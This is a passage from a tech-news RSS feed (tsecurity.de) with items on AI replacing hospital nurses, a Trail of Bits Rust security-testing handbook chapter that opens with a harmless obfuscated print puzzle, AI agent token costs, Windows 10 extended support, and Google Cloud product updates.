<content:encoded><![CDATA[<p>The union for 12 nurses laid off by Montefiore hospital say company broke contract they recently won through a strike</p><p>Marilyn Shuler has worked as a utilization review nurse for 39 years at Montefiore hospital in the Bronx in New York City, helping to read patient charts and communicate with insurance companies over coverage.</p><p>After nearly four decades in her job, Shuler is one of 12 nurses who was laid off Sunday after being replaced with AI-powered software, according to the New York State Nurses Association (NYSNA), which represents nurses at the hospital.</p> <a href="https://www.theguardian.com/technology/2026/jul/13/nurses-new-york-ai">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rust-proof your code with our new Testing Handbook chapter]]></title>
<description><![CDATA[We’ve added a new chapter to our Testing Handbook: a comprehensive guide to security testing Rust programs. This chapter covers the tools and techniques we use at Trail of Bits to validate the security of Rust programs and systems.

fn
main()
{(|f:&dyn
Fn(u128)->Box]]></description>
<link>https://tsecurity.de/de/3665022/it-security-nachrichten/rust-proof-your-code-with-our-new-testing-handbook-chapter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665022/it-security-nachrichten/rust-proof-your-code-with-our-new-testing-handbook-chapter/</guid>
<pubDate>Mon, 13 Jul 2026 13:09:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We’ve added a new chapter to our <a href="https://appsec.guide/">Testing Handbook</a>: a comprehensive guide to security testing Rust programs. This chapter covers the tools and techniques we use at Trail of Bits to validate the security of Rust programs and systems.</p>
<div>
<div class="highlight"><pre tabindex="0"><code class="language-rust" data-lang="rust"><span><span><span>fn</span>
</span></span><span><span><span>main</span>()<span>
</span></span></span><span><span><span></span>{(<span>|</span>f:<span>&amp;</span><span>dyn</span><span>
</span></span></span><span><span><span></span><span>Fn</span>(<span>u128</span>)-&gt;<span>Box</span><span>&lt;</span><span>
</span></span></span><span><span><span></span><span>dyn</span><span> </span><span>Iterator</span><span>&lt;</span>Item<span>=</span><span>
</span></span></span><span><span><span></span><span>char</span><span>&gt;+</span><span>'static</span><span>&gt;|</span>f(<span>*</span>[<span>&amp;</span>(<span>
</span></span></span><span><span><span></span><span>0x7B736D70683F73</span><span>u128</span><span>&lt;&lt;</span><span>64</span><span>|</span><span>
</span></span></span><span><span><span></span><span>0x7A6A6D7C3F7A667D</span>),<span>&amp;</span>(<span>0x7B736D</span><span>u128</span><span>
</span></span></span><span><span><span></span><span>&lt;&lt;</span><span>64</span><span>|</span><span>0x70683F7073737A77</span>)][((std::hint::
</span></span><span><span><span>black_box</span>(<span>0.0</span><span>f64</span>)<span>/</span><span>0.0</span>).to_bits()<span>&gt;&gt;</span><span>63</span>)<span>as</span><span> </span><span>usize</span>])<span>
</span></span></span><span><span><span></span>.for_each(<span>|</span>c<span>|</span><span>print!</span>(<span>"</span><span>{c}</span><span>"</span>)))(<span>Box</span>::leak(<span>Box</span>::new(<span>|</span>n:
</span></span><span><span><span>u128</span><span>|</span><span>Box</span>::new(std::iter::successors(<span>Some</span>(n),<span>|&amp;</span>n<span>|</span><span>Some</span>(n<span>&gt;&gt;</span><span>8</span>)<span>
</span></span></span><span><span><span></span>).take_while(<span>|&amp;</span>n<span>|</span>n<span>&gt;</span><span>0</span>).map(<span>|</span>n<span>|</span>((n<span> </span><span>as</span><span> </span><span>u8</span>)<span>^</span><span>0x1F</span>)<span>as</span><span> </span><span>char</span>))<span>as</span><span> </span>_)))}</span></span></code></pre></div>
</div>
<h2>What’s in the chapter</h2>
<p>The chapter starts with a security overview of what Rust’s guarantees do and don’t cover, including underappreciated issues like unwind safety, nondeterminism, and arithmetic errors. This leads into an overview of dynamic analysis, which covers a range of boosters for unit tests, how to use Miri to detect undefined behavior, property testing with <code>proptest</code>, coverage measurement, and mutation testing. The static analysis section then covers Clippy in depth, including a list of our favorite lints.</p>
<p>Beyond tooling, the chapter also covers what we’ve learned from auditing Rust codebases directly. Our gotchas and footguns checklist is a great reference for manual code reviews, and will help you find subtle issues like <code>a &amp; b == c</code> having different operator precedence than in C. The memory zeroization section offers three solutions to the tricky problem of guaranteeing that secrets are erased from memory.</p>
<p>Finally, the specialized testing sections cover tools like Kani (a model checker), and the supply chain section covers the full toolchain for vetting dependencies.</p>
<h2>Still oxidizing</h2>
<p>We’ve also <a href="https://github.com/trailofbits/skills/tree/main/plugins/rust-review">released rust-review</a>, a Claude Code plugin for automated Rust security reviews. Co-built with Aptos Labs, it targets over a dozen bug classes, from memory safety and concurrency hazards to FFI pitfalls and async cancellation issues. It’s a fast way to catch security issues in a Rust codebase before they make it to audit.</p>
<p>Our goal is to keep the handbook current as the Rust ecosystem evolves. If your favorite tool or gotcha isn’t covered, <a href="https://github.com/trailofbits/testing-handbook">submit a PR</a>. And if you need help securing your Rust systems, <a href="https://www.trailofbits.com/contact/">contact us</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agent crawlers now need permission. Here’s how to get it]]></title>
<description><![CDATA[AI agent crawlers, the bots that fetch pages in real time on behalf of a person waiting for an answer, will be blocked by default on a slice of the web from September 15 onwards. Cloudflare announced the change on July 1, and most of the coverage since then has focused on Google. The more useful ...]]></description>
<link>https://tsecurity.de/de/3665016/ai-nachrichten/ai-agent-crawlers-now-need-permission-heres-how-to-get-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665016/ai-nachrichten/ai-agent-crawlers-now-need-permission-heres-how-to-get-it/</guid>
<pubDate>Mon, 13 Jul 2026 13:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AI agent crawlers, the bots that fetch pages in real time on behalf of a person waiting for an answer, will be blocked by default on a slice of the web from September 15 onwards. Cloudflare announced the change on July 1, and most of the coverage since then has focused on Google. The more useful part […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/ai-agent-crawlers-cloudflare-rules/">AI agent crawlers now need permission. Here’s how to get it</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft’s new Windows 10 ESU email doesn’t push Windows 11, just reminds users of the year extension]]></title>
<description><![CDATA[Microsoft sends an email saying Windows 10's ESU coverage now runs through October 2027, automatic for enrolled users. But the framing glosses over why so many haven't upgraded yet, Windows 10 still uses less RAM, opens File Explorer faster, and gives better taskbar controls.
The post Microsoft’s...]]></description>
<link>https://tsecurity.de/de/3664171/windows-tipps/microsofts-new-windows-10-esu-email-doesnt-push-windows-11-just-reminds-users-of-the-year-extension/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664171/windows-tipps/microsofts-new-windows-10-esu-email-doesnt-push-windows-11-just-reminds-users-of-the-year-extension/</guid>
<pubDate>Mon, 13 Jul 2026 05:54:50 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft sends an email saying Windows 10's ESU coverage now runs through October 2027, automatic for enrolled users. But the framing glosses over why so many haven't upgraded yet, Windows 10 still uses less RAM, opens File Explorer faster, and gives better taskbar controls.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/07/13/microsofts-new-windows-10-esu-email-doesnt-push-windows-11-just-reminds-users-of-the-year-extension/">Microsoft’s new Windows 10 ESU email doesn’t push Windows 11, just reminds users of the year extension</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepSeek cut prices 75%. The 100x problem remains]]></title>
<description><![CDATA[DeepSeek's recent decision to drastically cut pricing on its V4-Pro model by 75% should have been unequivocally good news for enterprise AI vendors and developers. Instead, many are discovering that cheaper models don’t automatically translate into healthier margins.The reason is simple: While in...]]></description>
<link>https://tsecurity.de/de/3663813/it-nachrichten/deepseek-cut-prices-75-the-100x-problem-remains/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663813/it-nachrichten/deepseek-cut-prices-75-the-100x-problem-remains/</guid>
<pubDate>Sun, 12 Jul 2026 22:16:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>DeepSeek's recent decision to <a href="https://venturebeat.com/infrastructure/how-deepseeks-radical-architecture-is-shattering-silicon-valleys-token-moat">drastically cut pricing</a> on its V4-Pro model by 75% should have been unequivocally good news for enterprise AI vendors and developers. Instead, many are discovering that cheaper models don’t automatically translate into healthier margins.</p><p>The reason is simple: While inference costs plummet, agent systems are voraciously consuming tokens faster than prices are declining. For the last 2 decades, software economics was dictated by the same rule. Infra became cheaper every year whereas applications became more capable. AI was initially hypothesized to follow the same pattern. As frontier models improved and token prices dropped, many assumed inference would become a negligible operating expense.That assumption has begun crumbling exponentially. </p><p>A chatbot usually turns one user question into one model call. <a href="https://venturebeat.com/orchestration/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents">An agent</a> turns it into a chain of planning, retrieval, tool use, verification, summarization, and follow-up decisions. The user sees one answer. The vendor pays for the loop. That is the 100x problem: The same user-visible request can cost a lot  more to serve as an agentic workflow than as a chatbot or retrieval-augmented generation (RAG) response. In longer-running workflows, the multiplier is higher. Falling model prices help, but they do not fix a product architecture that turns one prompt into dozens of billable operations.</p><p>The scale of what is now at stake is clear in how model providers themselves are pricing developer relationships. OpenAI's proposed program to give every Y Combinator startup $2 million in API credits — a number that would have funded an entire seed round in any prior tech cycle, and when the same cohort got by on a few thousand dollars of AWS credits — is less a recruiting perk than an admission of what it now costs to run an AI-native company through its first year of product. For established enterprises retrofitting agents into existing product lines, the absolute numbers are larger still.</p><h2>What token amplification is</h2><p>In a single-turn chatbot, one user message produces roughly one model call. Input-to-billed ratio is about 1:5.</p><p>In a <a href="https://venturebeat.com/security/forget-typosquatting-slopsquatting-is-the-software-supply-chain-threat-created-by-ai-coding-tools">multi-step agent</a> rolled out across customer support, sales operations, finance, legal review, and engineering, that ratio routinely lands at <b>1:700 or higher</b>. Every loop iteration carries forward the cumulative conversation, tool outputs, and reasoning traces. Each step appends; nothing is dropped.</p><p>A "simple" agent query like “<i>What did our top customer ask about last week?”</i> typically touches seven priced operations before returning an answer:</p><ol><li><p>User prompt (~50 tokens)</p></li><li><p>System prompt and tool definitions (~3,000 tokens, repeated on every call)</p></li><li><p>Retrieval (~5,000 tokens of context)</p></li><li><p>Model call #1 — tool selection (8,000 in / 200 out)</p></li><li><p>Tool execution (~4,000 tokens returned)</p></li><li><p>Model call #2 — summarization (12,000 in / 400 out)</p></li><li><p>Model call #3 — follow-up decision (12,400 in / 100 out)</p></li></ol><p>One sentence in, roughly 35,000 input tokens billed. Somewhere between $0.10 and $0.40 per query on a frontier model. Multiply that by a million queries a month — the table-stakes volume for any enterprise B2B feature — and the line item is six figures.</p><h2>Why this breaks the existing AI business model</h2><p>The dominant pricing story for <a href="https://venturebeat.com/security/prompt-injection-is-exploiting-enterprise-ais-biggest-design-flaws-by-targeting-agents-rag-pipelines-and-model-routers">enterprise AI</a> has been <i>seat-based SaaS</i>: Pay per-user per-month, deliver agent capability, capture margin. That model assumes a reasonably bounded cost-per-user.</p><p>Token amplification breaks the assumption. A power user running 50 agent invocations a day on a $40/seat plan can cost more in inference than the plan charges. Token amplification shatters the traditional SaaS pricing model. When a power user’s daily agent activity costs more in inference than their monthly subscription fee, vendor gross margins turn negative, a paradox that compounds as customers deepen their agent adoption, the very usage curve vendors are selling to their boards. Several vendors are now privately reporting negative gross margins on heavy users, mirroring recent cloud expenditure reports from the Bessemer 'Supernova' cohort, where the correlation between AI-agent adoption and gross margin contraction has moved from a theoretical risk to a primary P&amp;L headwind.</p><p>The visible symptoms have started leaking into public coverage. Bloomberg this week documented a widening gap between Salesforce's Agentforce marketing demos and the capabilities actually shipping to customers. This is the kind of gap that opens predictably when promised functionality is technically possible but uneconomical to serve at the price the seat plan implies. Salesforce is the most-watched case, not a unique one.</p><p>"For my team, the cost of compute is far beyond the costs of the employees." — <i>Bryan Catanzaro, VP of Applied Deep Learning, Nvidia</i></p><p>The strategic implication is not "AI is expensive." It is that the dominant business model assumed by most AI-native company plans does not survive contact with agentic workloads. </p><h2>A simple example</h2><p>Consider an enterprise software vendor charging $40 per-user per-month for an AI-enabled support assistant. A traditional chatbot might cost only a few cents per user per day in inference, leaving healthy gross margins.</p><p>Now replace that chatbot with a fully agentic workflow capable of investigating tickets, querying internal systems, drafting responses, validating outputs, and escalating exceptions. If a heavy user executes 50 to 100 agent requests per day, inference consumption can increase by an order of magnitude. What was once a negligible infrastructure cost becomes a material operating expense.</p><p>This creates an unusual dynamic: The customers receiving the most value from the product are often the customers generating the highest inference costs. In extreme cases, vendors can find themselves with their most engaged users contributing the least profit. The result is a growing realization across enterprise software that agent adoption and margin expansion are no longer automatically aligned.</p><h2>Agent orchestration is the new moat</h2><p>The technical responses are known and converging. They are not novel, but they are critical for survival</p><ul><li><p><b>Cost-aware routing</b>: This technique involves a small classifier model that decides which tier (Haiku, Sonnet, Opus equivalents) handles each query. Well-tuned routers cut inference bills by around 60% without any degradation in quality</p></li><li><p><b>Prompt caching</b>: <a href="https://venturebeat.com/infrastructure/claude-code-turned-every-engineer-into-three-now-companies-need-more-product-thinkers">Anthropic</a>, OpenAI, and Google now offer 75 to 90% discounts on cached prefixes. </p></li><li><p><b>Context discipline</b>: You can truncate tool outputs, prune reasoning traces, and cap tool depth to prevent your agent from going down a rabbit hole</p></li><li><p><b>Speculative decoding</b>: for self-hosted deployments, this technique guarantees 2 to 3X effective throughput on the same GPUs.</p></li></ul><p>"Organizations using orchestration-led governance report stronger productivity gains — a holistic orchestration layer is associated with six times greater productivity impact than compliance‑only approaches" — <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-orchestration-layer"><i><u>IBM</u></i></a></p><p>The companies building this layer well are starting to look less like microservice operators and more like <b>financial trading systems</b>: Every routing decision priced, every path with its own P&amp;L, every tenant on a metered budget.</p><h2>What enterprise leaders should actually do</h2><p>F<!-- -->our moves separate the companies that will still have margin in 24 months from the ones that won't:</p><ol><li><p><b>Make inference cost a first-class metric.</b> Track it per-feature, per-tenant, per-query class the same way cloud cost was tracked starting in the mid-2010s.</p></li><li><p><b>Budget like a media buyer.</b> Set cost-per-thousand-queries ceilings per feature. Cap them. Alert on overruns. Engineering will not enforce this on its own.</p></li><li><p><b>Treat the router as core infrastructure, not an optimization.</b> It is the new load balancer.</p></li><li><p><b>Audit prompts quarterly.</b> A 4,000-token system prompt that grew organically over six months is a six-figure bill in slow motion. Most teams have never read their own production prompts end to end.</p></li><li><p><b>Negotiate volume commits early.</b> Frontier-model vendors now offer reserved-instance-style prepaid commits at substantial discounts. List price is the worst price any enterprise will ever pay.</p></li></ol><h2>The next 24 months</h2><p>The structural shift underneath agentic AI is not that it is expensive. As DeepSeek's price cut today underscores, frontier inference unit costs are dropping roughly 3X per year, and the curve is not slowing.</p><p>The shift is that <b>amplification is outrunning the price cuts</b>. Cutting per-token costs 75% does not help a company whose agents are doing 700X more tokens per user query than its pricing model assumed. For the first time since the cloud era began, architecture decisions are again financial decisions in real time. A prompt redesign is a margin event. A poorly bound agent loop is an outage with a credit card attached.</p><p>The companies that survive the next 24 months of AI infrastructure pricing will not be the ones running the cheapest model. They will be the ones whose agents are smart <b>and</b> know what they cost to think.</p><p>That is the 100X problem. And it is arriving faster than the price cuts can hide it.</p><p><i>Maitreyi Chatterjee is a senior software engineer at a big tech company.</i></p><p><i>Devansh Agarwal works as an ML engineer at a leading tech company.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The correct way to position your router's antennas depends on your home]]></title>
<description><![CDATA[Know where to place your router and how to position its antennas should get you better coverage.]]></description>
<link>https://tsecurity.de/de/3663347/it-nachrichten/the-correct-way-to-position-your-routers-antennas-depends-on-your-home/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663347/it-nachrichten/the-correct-way-to-position-your-routers-antennas-depends-on-your-home/</guid>
<pubDate>Sun, 12 Jul 2026 15:32:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Know where to place your router and how to position its antennas should get you better coverage.]]></content:encoded>
</item>
<item>
<title><![CDATA[CurrentBody Multi Light Therapy LED mask review: hands down the best I’ve tested]]></title>
<description><![CDATA[With five light modes targeting everything from fine lines to blemishes and pigmentation, CurrentBody’s latest mask promises a lot – and so does its price tag• The best LED face masksI’ve been testing LED masks for a couple of years now, and the CurrentBody Series 2 red-light face mask has long b...]]></description>
<link>https://tsecurity.de/de/3663258/it-nachrichten/currentbody-multi-light-therapy-led-mask-review-hands-down-the-best-ive-tested/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663258/it-nachrichten/currentbody-multi-light-therapy-led-mask-review-hands-down-the-best-ive-tested/</guid>
<pubDate>Sun, 12 Jul 2026 14:17:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>With five light modes targeting everything from fine lines to blemishes and pigmentation, CurrentBody’s latest mask promises a lot – and so does its price tag</p><p>• <a href="https://www.theguardian.com/thefilter/2025/sep/19/best-led-red-light-therapy-face-masks"><strong>The best LED face masks</strong></a></p><p>I’ve been testing <a href="https://www.theguardian.com/thefilter/2025/sep/19/best-led-red-light-therapy-face-masks">LED masks</a> for a couple of years now, and the <a href="https://www.currentbody.com/products/currentbody-skin-led-light-therapy-mask">CurrentBody Series 2</a> red-light face mask has long been my favourite option for anti-ageing. It’s comfortable, offers excellent coverage and powerful deep near-infrared treatments. Sadly, it doesn’t work for other skin concerns. It’s a one-trick pony.</p><p>So, when I heard that CurrentBody had launched its Multi Light Therapy mask with five different modes, I was interested to see how it would stand up to the stellar performance of its predecessor. As someone with hormonal acne, I was especially keen to try the mask’s “clearing” mode, but it also offers a calming “restoring” mode, a pigmentation-reducing “brightening” mode, and a distinctive “complete” mode, as well as the “anti-ageing” mode.</p> <a href="https://www.theguardian.com/thefilter/2026/jul/12/currentbody-skin-multi-light-therapy-led-mask-review">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s new with Google Cloud]]></title>
<description><![CDATA[Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud bl...]]></description>
<link>https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="kgod7">Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. </p><hr><p data-block-key="ru1z9"><b>Tip</b>: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: <a href="https://cloud.google.com/blog/topics/inside-google-cloud/complete-list-google-cloud-blog-links-2021">Google Cloud blog 101: Full list of topics, links, and resources</a>.</p><hr><p data-block-key="b0lnw"></p></div>
<div class="block-aside"><dl>
    <dt>aside_block</dt>
    <dd>&lt;ListValue: []&gt;</dd>
</dl></div>
<div class="block-paragraph_advanced"><h3>Jul 6 - Jul 10</h3>
<ul>
<li><strong>Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks<br></strong>Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://www.brighttalk.com/webcast/18282/668861?utm_source=GCBlog" rel="noreferrer noopener" target="_blank">Register for the webinar now</a></li>
<li><strong>Safely run AI-generated code in Cloud Run sandboxes<br></strong>Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly <strong>within your existing Cloud Run service instances</strong>.<br><br>Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://cloud.google.com/blog/topics/developers-practitioners/google-cloud-run-sandboxes-are-in-public-preview" rel="noreferrer noopener" target="_blank">Read the blog</a><span> to learn more and get started today.</span></li>
<li><strong>Australia API Horizon: Scaling Enterprise Governed AI Agents<br></strong>The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.<br><br>Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.<br><br>Join us in your preferred city:
<ul>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="36" href="https://goo.gle/4voh18S" rel="noreferrer noopener" target="_blank"><strong>Sydney:</strong> July 28, 2026, at Google Sydney, One Darling Island.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://goo.gle/4h2x0FS" rel="noreferrer noopener" target="_blank"><strong>Canberra:</strong> July 29, 2026, at Hotel Realm.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://goo.gle/4yisb1F" rel="noreferrer noopener" target="_blank"><strong>Melbourne:</strong> August 4, 2026, at Google Melbourne.</a></li>
</ul>
</li>
<li><strong>Build highly available, multi-region services on Cloud Run<br></strong>Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="42" href="https://cloud.google.com/run/docs/configuring/configure-service-health" rel="noreferrer noopener" target="_blank">Learn how to configure service health for Cloud Run.</a></li>
<li><strong>Report: 83% of organizations need infrastructure upgrades for agentic AI<br></strong>The shift from conversational bots to autonomous agents is breaking legacy systems. Our new <em>State of AI Infrastructure</em> report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://cloud.google.com/blog/products/compute/state-of-ai-infrastructure-report-overview?e=48754805" rel="noreferrer noopener" target="_blank">Explore our key infrastructure insights</a></li>
<li><strong>Stop tinkering, start scaling: the industrialized AI Playbook<br></strong>Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.<br><br>In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&amp;L-impacting enterprise ROI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://www.google.com/url?q=https%3A%2F%2Fmedium.com%2F%40kjouannigot_73547%2Fscaling-trusted-ai-google-cloud-insights-to-capture-enterprise-roi-aa6c9b308adb" rel="noreferrer noopener" target="_blank">Read the full article on Medium</a></li>
<li><strong>AI Agent Clinic: Slashing App Latency by 80%<br></strong>Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="54" href="https://www.google.com/search?q=https://youtu.be/G7olcqETSn8" rel="noreferrer noopener" target="_blank">Watch the 60-minute teardown</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 29 - Jul 3</h3>
<ul>
<li><strong>Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform</strong>. <br>This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.<br><br>By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-sonnet-5?hl=en" rel="noreferrer noopener" target="_blank"><em>Get started today.</em></a></li>
<li>
<p><strong>Automate your AI governance with Apigee and YAML<br></strong><span>Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&amp;A session. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 16 Community TechTalk</strong></a></p>
</li>
<li>
<p><strong>Build next-generation AI portals for autonomous agents<br></strong><span>Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 23 Community TechTalk</strong></a></p>
</li>
<li><strong>Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)<br></strong>In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 30 Portuguese Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 22 - Jun 26</h3>
<ul>
<li><strong>Accelerate TPU model loading while saving RAM on GKE.<br></strong>Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source <strong>Run:ai Model Streamer</strong> now natively supports TPUs with Google Cloud Storage in<strong> </strong><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://github.com/vllm-project/tpu-inference" rel="noreferrer noopener" target="_blank"><strong>TPU vLLM 0.18.0</strong>.</a> This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was <strong>over 2x faster</strong> while cutting peak host memory usage by half. <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/accelerate-tpu-model-loading-while-saving-ram-on-gke/374835" rel="noreferrer noopener" target="_blank"><strong>Read the full guide and get started today</strong></a>.</li>
<li><strong>Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent<br></strong>Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.<br><br>You can read more of this capability by clicking this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/stop-training-blind-scaling-ai-with-the-new-opentelemetry-based-tpu-ai-telemetry-collector-agent/375210" rel="noreferrer noopener" target="_blank">link</a>.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 15 - Jun 19</h3>
<ul>
